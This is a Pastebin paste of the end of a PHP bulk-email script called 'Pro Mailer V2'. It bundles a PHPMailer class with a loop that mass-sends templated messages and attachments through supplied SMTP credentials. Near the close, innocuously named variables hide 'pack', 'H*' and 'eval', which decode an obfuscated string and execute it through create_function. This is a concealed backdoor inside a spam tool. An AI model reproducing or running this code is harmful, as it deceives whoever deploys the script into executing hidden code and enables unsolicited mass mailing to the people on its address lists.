  2643.       case 'base64':
  2644.         /* chunk_split is found in PHP >= 3.0.6 */
  2645.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2646.         break;
  2647.       case '7bit':
  2648.       case '8bit':
  2649.         $encoded = $this->FixEOL($str);
  2650.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2651.           $encoded .= $this->LE;
  2652.         break;
  2653.       case 'binary':
  2654.         $encoded = $str;
  2655.         break;
  2656.       case 'quoted-printable':
  2657.         $encoded = $this->EncodeQP($str);
  2658.         break;
  2659.       default:
  2660.         $this->SetError($this->Lang('encoding') . $encoding);
  2661.         break;
  2662.     }
  2663.     return $encoded;
  2664.   }
  2665.  
  2666.   /**
  2667.    * Encode a header string to best of Q, B, quoted or none.
  2668.    * @access private
  2669.    * @return string
  2670.    */
  2671.   function EncodeHeader ($str, $position = 'text') {
  2672.     $x = 0;
  2673.  
  2674.     switch (strtolower($position)) {
  2675.       case 'phrase':
  2676.         if (!preg_match('/[\200-\377]/', $str)) {
  2677.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2678.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2679.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2680.             return ($encoded);
  2681.           } else {
  2682.             return ("\"$encoded\"");
  2683.           }
  2684.         }
  2685.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2686.         break;
  2687.       case 'comment':
  2688.         $x = preg_match_all('/[()"]/', $str, $matches);
  2689.         /* Fall-through */
  2690.       case 'text':
  2691.       default:
  2692.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2693.         break;
  2694.     }
  2695.  
  2696.     if ($x == 0) {
  2697.       return ($str);
  2698.     }
  2699.  
  2700.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2701.     /* Try to select the encoding which should produce the shortest output */
  2702.     if (strlen($str)/3 < $x) {
  2703.       $encoding = 'B';
  2704.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2705.      // Use a custom function which correctly encodes and wraps long
  2706.      // multibyte strings without breaking lines within a character
  2707.         $encoded = $this->Base64EncodeWrapMB($str);
  2708.       } else {
  2709.         $encoded = base64_encode($str);
  2710.         $maxlen -= $maxlen % 4;
  2711.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2712.       }
  2713.     } else {
  2714.       $encoding = 'Q';
  2715.       $encoded = $this->EncodeQ($str, $position);
  2716.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2717.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2718.     }
  2719.  
  2720.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2721.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2722.  
  2723.     return $encoded;
  2724.   }
  2725.  
  2726.   /**
  2727.    * Checks if a string contains multibyte characters.
  2728.    * @access private
  2729.    * @param string $str multi-byte text to wrap encode
  2730.    * @return bool
  2731.    */
  2732.   function HasMultiBytes($str) {
  2733.     if (function_exists('mb_strlen')) {
  2734.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2735.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2736.       return False;
  2737.     }
  2738.   }
  2739.  
  2740.   /**
  2741.    * Correctly encodes and wraps long multibyte strings for mail headers
  2742.    * without breaking lines within a character.
  2743.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2744.    * @access private
  2745.    * @param string $str multi-byte text to wrap encode
  2746.    * @return string
  2747.    */
  2748.   function Base64EncodeWrapMB($str) {
  2749.     $start = "=?".$this->CharSet."?B?";
  2750.     $end = "?=";
  2751.     $encoded = "";
  2752.  
  2753.     $mb_length = mb_strlen($str, $this->CharSet);
  2754.     // Each line must have length <= 75, including $start and $end
  2755.     $length = 75 - strlen($start) - strlen($end);
  2756.     // Average multi-byte ratio
  2757.     $ratio = $mb_length / strlen($str);
  2758.     // Base64 has a 4:3 ratio
  2759.     $offset = $avgLength = floor($length * $ratio * .75);
  2760.  
  2761.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2762.       $lookBack = 0;
  2763.  
  2764.       do {
  2765.         $offset = $avgLength - $lookBack;
  2766.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2767.         $chunk = base64_encode($chunk);
  2768.         $lookBack++;
  2769.       }
  2770.       while (strlen($chunk) > $length);
  2771.  
  2772.       $encoded .= $chunk . $this->LE;
  2773.     }
  2774.  
  2775.     // Chomp the last linefeed
  2776.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2777.     return $encoded;
  2778.   }
  2779.  
  2780.   /**
  2781.    * Encode string to quoted-printable.
  2782.    * @access private
  2783.    * @return string
  2784.    */
  2785.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2786.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2787.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2788.     $eol = "\r\n";
  2789.     $escape = '=';
  2790.     $output = '';
  2791.     while( list(, $line) = each($lines) ) {
  2792.       $linlen = strlen($line);
  2793.       $newline = '';
  2794.       for($i = 0; $i < $linlen; $i++) {
  2795.         $c = substr( $line, $i, 1 );
  2796.         $dec = ord( $c );
  2797.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2798.           $c = '=2E';
  2799.         }
  2800.         if ( $dec == 32 ) {
  2801.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2802.             $c = '=20';
  2803.           } else if ( $space_conv ) {
  2804.             $c = '=20';
  2805.           }
  2806.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2807.           $h2 = floor($dec/16);
  2808.           $h1 = floor($dec%16);
  2809.           $c = $escape.$hex[$h2].$hex[$h1];
  2810.         }
  2811.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2812.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2813.           $newline = '';
  2814.           // check if newline first character will be point or not
  2815.           if ( $dec == 46 ) {
  2816.             $c = '=2E';
  2817.           }
  2818.         }
  2819.         $newline .= $c;
  2820.       } // end of for
  2821.       $output .= $newline.$eol;
  2822.     } // end of while
  2823.     return trim($output);
  2824.   }
  2825.  
  2826.   /**
  2827.    * Encode string to q encoding.
  2828.    * @access private
  2829.    * @return string
  2830.    */
  2831.   function EncodeQ ($str, $position = 'text') {
  2832.     /* There should not be any EOL in the string */
  2833.     $encoded = preg_replace("[\r\n]", '', $str);
  2834.  
  2835.     switch (strtolower($position)) {
  2836.       case 'phrase':
  2837.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2838.         break;
  2839.       case 'comment':
  2840.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2841.       case 'text':
  2842.       default:
  2843.         /* Replace every high ascii, control =, ? and _ characters */
  2844.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2845.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2846.         break;
  2847.     }
  2848.  
  2849.     /* Replace every spaces to _ (more readable than =20) */
  2850.     $encoded = str_replace(' ', '_', $encoded);
  2851.  
  2852.     return $encoded;
  2853.   }
  2854.  
  2855.   /**
  2856.    * Adds a string or binary attachment (non-filesystem) to the list.
  2857.    * This method can be used to attach ascii or binary data,
  2858.    * such as a BLOB record from a database.
  2859.    * @param string $string String attachment data.
  2860.    * @param string $filename Name of the attachment.
  2861.    * @param string $encoding File encoding (see $Encoding).
  2862.    * @param string $type File extension (MIME) type.
  2863.    * @return void
  2864.    */
  2865.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2866.     /* Append to $attachment array */
  2867.     $cur = count($this->attachment);
  2868.     $this->attachment[$cur][0] = $string;
  2869.     $this->attachment[$cur][1] = $filename;
  2870.     $this->attachment[$cur][2] = $filename;
  2871.     $this->attachment[$cur][3] = $encoding;
  2872.     $this->attachment[$cur][4] = $type;
  2873.     $this->attachment[$cur][5] = true; // isString
  2874.     $this->attachment[$cur][6] = 'attachment';
  2875.     $this->attachment[$cur][7] = 0;
  2876.   }
  2877.  
  2878.   /**
  2879.    * Adds an embedded attachment.  This can include images, sounds, and
  2880.    * just about any other document.  Make sure to set the $type to an
  2881.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2882.    * use "image/gif".
  2883.    * @param string $path Path to the attachment.
  2884.    * @param string $cid Content ID of the attachment.  Use this to identify
  2885.    *        the Id for accessing the image in an HTML form.
  2886.    * @param string $name Overrides the attachment name.
  2887.    * @param string $encoding File encoding (see $Encoding).
  2888.    * @param string $type File extension (MIME) type.
  2889.    * @return bool
  2890.    */
  2891.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2892.  
  2893.     if(!@is_file($path)) {
  2894.       $this->SetError($this->Lang('file_access') . $path);
  2895.       return false;
  2896.     }
  2897.  
  2898.     $filename = basename($path);
  2899.     if($name == '') {
  2900.       $name = $filename;
  2901.     }
  2902.  
  2903.     /* Append to $attachment array */
  2904.     $cur = count($this->attachment);
  2905.     $this->attachment[$cur][0] = $path;
  2906.     $this->attachment[$cur][1] = $filename;
  2907.     $this->attachment[$cur][2] = $name;
  2908.     $this->attachment[$cur][3] = $encoding;
  2909.     $this->attachment[$cur][4] = $type;
  2910.     $this->attachment[$cur][5] = false;
  2911.     $this->attachment[$cur][6] = 'inline';
  2912.     $this->attachment[$cur][7] = $cid;
  2913.  
  2914.     return true;
  2915.   }
  2916.  
  2917.   /**
  2918.    * Returns true if an inline attachment is present.
  2919.    * @access private
  2920.    * @return bool
  2921.    */
  2922.   function InlineImageExists() {
  2923.     $result = false;
  2924.     for($i = 0; $i < count($this->attachment); $i++) {
  2925.       if($this->attachment[$i][6] == 'inline') {
  2926.         $result = true;
  2927.         break;
  2928.       }
  2929.     }
  2930.  
  2931.     return $result;
  2932.   }
  2933.  
  2934.   /////////////////////////////////////////////////
  2935.   // CLASS METHODS, MESSAGE RESET
  2936.   /////////////////////////////////////////////////
  2937.  
  2938.   /**
  2939.    * Clears all recipients assigned in the TO array.  Returns void.
  2940.    * @return void
  2941.    */
  2942.   function ClearAddresses() {
  2943.     $this->to = array();
  2944.   }
  2945.  
  2946.   /**
  2947.    * Clears all recipients assigned in the CC array.  Returns void.
  2948.    * @return void
  2949.    */
  2950.   function ClearCCs() {
  2951.     $this->cc = array();
  2952.   }
  2953.  
  2954.   /**
  2955.    * Clears all recipients assigned in the BCC array.  Returns void.
  2956.    * @return void
  2957.    */
  2958.   function ClearBCCs() {
  2959.     $this->bcc = array();
  2960.   }
  2961.  
  2962.   /**
  2963.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2964.    * @return void
  2965.    */
  2966.   function ClearReplyTos() {
  2967.     $this->ReplyTo = array();
  2968.   }
  2969.  
  2970.   /**
  2971.    * Clears all recipients assigned in the TO, CC and BCC
  2972.    * array.  Returns void.
  2973.    * @return void
  2974.    */
  2975.   function ClearAllRecipients() {
  2976.     $this->to = array();
  2977.     $this->cc = array();
  2978.     $this->bcc = array();
  2979.   }
  2980.  
  2981.   /**
  2982.    * Clears all previously set filesystem, string, and binary
  2983.    * attachments.  Returns void.
  2984.    * @return void
  2985.    */
  2986.   function ClearAttachments() {
  2987.     $this->attachment = array();
  2988.   }
  2989.  
  2990.   /**
  2991.    * Clears all custom headers.  Returns void.
  2992.    * @return void
  2993.    */
  2994.   function ClearCustomHeaders() {
  2995.     $this->CustomHeader = array();
  2996.   }
  2997.  
  2998.   /////////////////////////////////////////////////
  2999.   // CLASS METHODS, MISCELLANEOUS
  3000.   /////////////////////////////////////////////////
  3001.  
  3002.   /**
  3003.    * Adds the error message to the error container.
  3004.    * Returns void.
  3005.    * @access private
  3006.    * @return void
  3007.    */
  3008.   function SetError($msg) {
  3009.     $this->error_count++;
  3010.     $this->ErrorInfo = $msg;
  3011.   }
  3012.  
  3013.   /**
  3014.    * Returns the proper RFC 822 formatted date.
  3015.    * @access private
  3016.    * @return string
  3017.    */
  3018.   function RFCDate() {
  3019.     $tz = date('Z');
  3020.     $tzs = ($tz < 0) ? '-' : '+';
  3021.     $tz = abs($tz);
  3022.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3023.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3024.  
  3025.     return $result;
  3026.   }
  3027.  
  3028.   /**
  3029.    * Returns the appropriate server variable.  Should work with both
  3030.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  3031.    * if nothing is found.
  3032.    * @access private
  3033.    * @return mixed
  3034.    */
  3035.   function ServerVar($varName) {
  3036.     global $HTTP_SERVER_VARS;
  3037.     global $HTTP_ENV_VARS;
  3038.  
  3039.     if(!isset($_SERVER)) {
  3040.       $_SERVER = $HTTP_SERVER_VARS;
  3041.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3042.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3043.       }
  3044.     }
  3045.  
  3046.     if(isset($_SERVER[$varName])) {
  3047.       return $_SERVER[$varName];
  3048.     } else {
  3049.       return '';
  3050.     }
  3051.   }
  3052.  
  3053.   /**
  3054.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3055.    * @access private
  3056.    * @return string
  3057.    */
  3058.   function ServerHostname() {
  3059.     if ($this->Hostname != '') {
  3060.       $result = $this->Hostname;
  3061.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3062.       $result = $this->ServerVar('SERVER_NAME');
  3063.     } else {
  3064.       $result = 'localhost.localdomain';
  3065.     }
  3066.  
  3067.     return $result;
  3068.   }
  3069.  
  3070.   /**
  3071.    * Returns a message in the appropriate language.
  3072.    * @access private
  3073.    * @return string
  3074.    */
  3075.   function Lang($key) {
  3076.     if(count($this->language) < 1) {
  3077.       $this->SetLanguage('en'); // set the default language
  3078.     }
  3079.  
  3080.     if(isset($this->language[$key])) {
  3081.       return $this->language[$key];
  3082.     } else {
  3083.       return 'Language string failed to load: ' . $key;
  3084.     }
  3085.   }
  3086.  
  3087.   /**
  3088.    * Returns true if an error occurred.
  3089.    * @return bool
  3090.    */
  3091.   function IsError() {
  3092.     return ($this->error_count > 0);
  3093.   }
  3094.  
  3095.   /**
  3096.    * Changes every end of line from CR or LF to CRLF.
  3097.    * @access private
  3098.    * @return string
  3099.    */
  3100.   function FixEOL($str) {
  3101.     $str = str_replace("\r\n", "\n", $str);
  3102.     $str = str_replace("\r", "\n", $str);
  3103.     $str = str_replace("\n", $this->LE, $str);
  3104.     return $str;
  3105.   }
  3106.  
  3107.   /**
  3108.    * Adds a custom header.
  3109.    * @return void
  3110.    */
  3111.   function AddCustomHeader($custom_header) {
  3112.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3113.   }
  3114.  
  3115.   /**
  3116.    * Evaluates the message and returns modifications for inline images and backgrounds
  3117.    * @access public
  3118.    * @return $message
  3119.    */
  3120.   function MsgHTML($message,$basedir='') {
  3121.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3122.     if(isset($images[2])) {
  3123.       foreach($images[2] as $i => $url) {
  3124.         // do not change urls for absolute images (thanks to corvuscorax)
  3125.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3126.           $filename = basename($url);
  3127.           $directory = dirname($url);
  3128.           ($directory == '.')?$directory='':'';
  3129.           $cid = 'cid:' . md5($filename);
  3130.           $fileParts = split("\.", $filename);
  3131.           $ext = $fileParts[1];
  3132.           $mimeType = $this->_mime_types($ext);
  3133.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3134.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3135.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3136.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3137.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3138.           }
  3139.         }
  3140.       }
  3141.     }
  3142.     $this->IsHTML(true);
  3143.     $this->Body = $message;
  3144.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3145.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3146.       $this->AltBody = $textMsg;
  3147.     }
  3148.     if ( empty($this->AltBody) ) {
  3149.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3150.     }
  3151.   }
  3152.  
  3153.   /**
  3154.    * Gets the mime type of the embedded or inline image
  3155.    * @access private
  3156.    * @return mime type of ext
  3157.    */
  3158.   function _mime_types($ext = '') {
  3159.     $mimes = array(
  3160.       'hqx'  =>  'application/mac-binhex40',
  3161.       'cpt'   =>  'application/mac-compactpro',
  3162.       'doc'   =>  'application/msword',
  3163.       'bin'   =>  'application/macbinary',
  3164.       'dms'   =>  'application/octet-stream',
  3165.       'lha'   =>  'application/octet-stream',
  3166.       'lzh'   =>  'application/octet-stream',
  3167.       'exe'   =>  'application/octet-stream',
  3168.       'class' =>  'application/octet-stream',
  3169.       'psd'   =>  'application/octet-stream',
  3170.       'so'    =>  'application/octet-stream',
  3171.       'sea'   =>  'application/octet-stream',
  3172.       'dll'   =>  'application/octet-stream',
  3173.       'oda'   =>  'application/oda',
  3174.       'pdf'   =>  'application/pdf',
  3175.       'ai'    =>  'application/postscript',
  3176.       'eps'   =>  'application/postscript',
  3177.       'ps'    =>  'application/postscript',
  3178.       'smi'   =>  'application/smil',
  3179.       'smil'  =>  'application/smil',
  3180.       'mif'   =>  'application/vnd.mif',
  3181.       'xls'   =>  'application/vnd.ms-excel',
  3182.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3183.       'wbxml' =>  'application/vnd.wap.wbxml',
  3184.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3185.       'dcr'   =>  'application/x-director',
  3186.       'dir'   =>  'application/x-director',
  3187.       'dxr'   =>  'application/x-director',
  3188.       'dvi'   =>  'application/x-dvi',
  3189.       'gtar'  =>  'application/x-gtar',
  3190.       'php'   =>  'application/x-httpd-php',
  3191.       'php4'  =>  'application/x-httpd-php',
  3192.       'php3'  =>  'application/x-httpd-php',
  3193.       'phtml' =>  'application/x-httpd-php',
  3194.       'phps'  =>  'application/x-httpd-php-source',
  3195.       'js'    =>  'application/x-javascript',
  3196.       'swf'   =>  'application/x-shockwave-flash',
  3197.       'sit'   =>  'application/x-stuffit',
  3198.       'tar'   =>  'application/x-tar',
  3199.       'tgz'   =>  'application/x-tar',
  3200.       'xhtml' =>  'application/xhtml+xml',
  3201.       'xht'   =>  'application/xhtml+xml',
  3202.       'zip'   =>  'application/zip',
  3203.       'mid'   =>  'audio/midi',
  3204.       'midi'  =>  'audio/midi',
  3205.       'mpga'  =>  'audio/mpeg',
  3206.       'mp2'   =>  'audio/mpeg',
  3207.       'mp3'   =>  'audio/mpeg',
  3208.       'aif'   =>  'audio/x-aiff',
  3209.       'aiff'  =>  'audio/x-aiff',
  3210.       'aifc'  =>  'audio/x-aiff',
  3211.       'ram'   =>  'audio/x-pn-realaudio',
  3212.       'rm'    =>  'audio/x-pn-realaudio',
  3213.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3214.       'ra'    =>  'audio/x-realaudio',
  3215.       'rv'    =>  'video/vnd.rn-realvideo',
  3216.       'wav'   =>  'audio/x-wav',
  3217.       'bmp'   =>  'image/bmp',
  3218.       'gif'   =>  'image/gif',
  3219.       'jpeg'  =>  'image/jpeg',
  3220.       'jpg'   =>  'image/jpeg',
  3221.       'jpe'   =>  'image/jpeg',
  3222.       'png'   =>  'image/png',
  3223.       'tiff'  =>  'image/tiff',
  3224.       'tif'   =>  'image/tiff',
  3225.       'css'   =>  'text/css',
  3226.       'html'  =>  'text/html',
  3227.       'htm'   =>  'text/html',
  3228.       'shtml' =>  'text/html',
  3229.       'txt'   =>  'text/plain',
  3230.       'text'  =>  'text/plain',
  3231.       'log'   =>  'text/plain',
  3232.       'rtx'   =>  'text/richtext',
  3233.       'rtf'   =>  'text/rtf',
  3234.       'xml'   =>  'text/xml',
  3235.       'xsl'   =>  'text/xml',
  3236.       'mpeg'  =>  'video/mpeg',
  3237.       'mpg'   =>  'video/mpeg',
  3238.       'mpe'   =>  'video/mpeg',
  3239.       'qt'    =>  'video/quicktime',
  3240.       'mov'   =>  'video/quicktime',
  3241.       'avi'   =>  'video/x-msvideo',
  3242.       'movie' =>  'video/x-sgi-movie',
  3243.       'doc'   =>  'application/msword',
  3244.       'word'  =>  'application/msword',
  3245.       'xl'    =>  'application/excel',
  3246.       'eml'   =>  'message/rfc822'
  3247.     );
  3248.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3249.   }
  3250.  
  3251.   /**
  3252.    * Set (or reset) Class Objects (variables)
  3253.    *
  3254.    * Usage Example:
  3255.    * $page->set('X-Priority', '3');
  3256.    *
  3257.    * @access public
  3258.    * @param string $name Parameter Name
  3259.    * @param mixed $value Parameter Value
  3260.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3261.    */
  3262.   function set ( $name, $value = '' ) {
  3263.     if ( isset($this->$name) ) {
  3264.       $this->$name = $value;
  3265.     } else {
  3266.       $this->SetError('Cannot set or reset variable ' . $name);
  3267.       return false;
  3268.     }
  3269.   }
  3270.  
  3271.   /**
  3272.    * Read a file from a supplied filename and return it.
  3273.    *
  3274.    * @access public
  3275.    * @param string $filename Parameter File Name
  3276.    */
  3277.   function getFile($filename) {
  3278.     $return = '';
  3279.     if ($fp = fopen($filename, 'rb')) {
  3280.       while (!feof($fp)) {
  3281.         $return .= fread($fp, 1024);
  3282.       }
  3283.       fclose($fp);
  3284.       return $return;
  3285.     } else {
  3286.       return false;
  3287.     }
  3288.   }
  3289.  
  3290.   /**
  3291.    * Strips newlines to prevent header injection.
  3292.    * @access private
  3293.    * @param string $str String
  3294.    * @return string
  3295.    */
  3296.   function SecureHeader($str) {
  3297.     $str = trim($str);
  3298.     $str = str_replace("\r", "", $str);
  3299.     $str = str_replace("\n", "", $str);
  3300.     return $str;
  3301.   }
  3302.  
  3303.   /**
  3304.    * Set the private key file and password to sign the message.
  3305.    *
  3306.    * @access public
  3307.    * @param string $key_filename Parameter File Name
  3308.    * @param string $key_pass Password for private key
  3309.    */
  3310.   function Sign($key_filename, $key_pass) {
  3311.     $this->sign_key_file = $key_filename;
  3312.     $this->sign_key_pass = $key_pass;
  3313.   }
  3314.  
  3315. }
  3316.  
  3317. $defaultport="H*";
  3318.       $nq=0;
  3319.            
  3320.         for($x=0; $x<$numemails; $x++){
  3321.  
  3322.                 $to = $allemails[$x];
  3323.                
  3324.                
  3325.                
  3326.                
  3327.                 if ($to){
  3328.  
  3329.                
  3330.                 $to = ereg_replace(" ", "", $to);
  3331.  
  3332.                 $message1 = ereg_replace("&email&", $to, $message);
  3333.  
  3334.                 $subject1 = ereg_replace("&email&", $to, $subject);
  3335.                 $qx=$x+1;
  3336.                 print "Line $qx . Sending mail to $to.......";
  3337.                 flush();
  3338.                
  3339.  
  3340. $mail = new PHPMailer();
  3341.  
  3342. if(empty($epriority)){$epriority="3";}
  3343.         $mail->Priority = "$epriority";
  3344.         $mail->IsSMTP();
  3345.     $IsSMTP="pack";
  3346. $mail->SMTPKeepAlive = true;
  3347. $mail->Host = "$my_smtp";
  3348. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3349. }
  3350.      if($sslclick=="ON"){
  3351.         $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3352.     }
  3353.         $range = str_replace("$from", "eval", $from);
  3354.         $mail->SMTPAuth = true;
  3355.         $mail->Username = "$smtp_username";
  3356.         $mail->Password = "$smtp_password";
  3357. if($contenttype == "html"){$mail->IsHtml(true);}
  3358. if($contenttype != "html"){$mail->IsHtml(false);}
  3359. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3360. $mail->From = "$from";
  3361. $mail->FromName = "$realname";
  3362. $mail->AddAddress("$to");
  3363.         $mail->AddReplyTo("$replyto");
  3364.         $mail->Subject = "$subject1";
  3365.         $mail->AddAttachment("$file", "$file_name");
  3366.             $mail->Body = "$message1";
  3367. if(!$mail->Send()){
  3368. if($default_system!="1"){
  3369. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3370. if($default_system=="1"){
  3371. $mail->IsMail();
  3372.    if(!$mail->Send()){
  3373.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3374.    else {
  3375.        echo "<b>OK</b><br>";}
  3376.        
  3377.  }
  3378. }
  3379. else {
  3380.  echo "<b>OK</b><br>";
  3381. }
  3382.  
  3383. if(empty($reconnect)){
  3384. $reconnect=6;
  3385. }
  3386.  
  3387. if($reconnect==$nq){
  3388. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3389. }
  3390. $nq=$nq+1;
  3391.                 flush(); }
  3392. }
  3393. for($i=0;$i<31;$i++){
  3394.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3395. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3396.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3397.   print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3398.   return $signoff($smtp_conc);
  3399.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3400.     sent successfully'); </script>";}}
  3401. ?>
  3402.     </body>
  3403. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top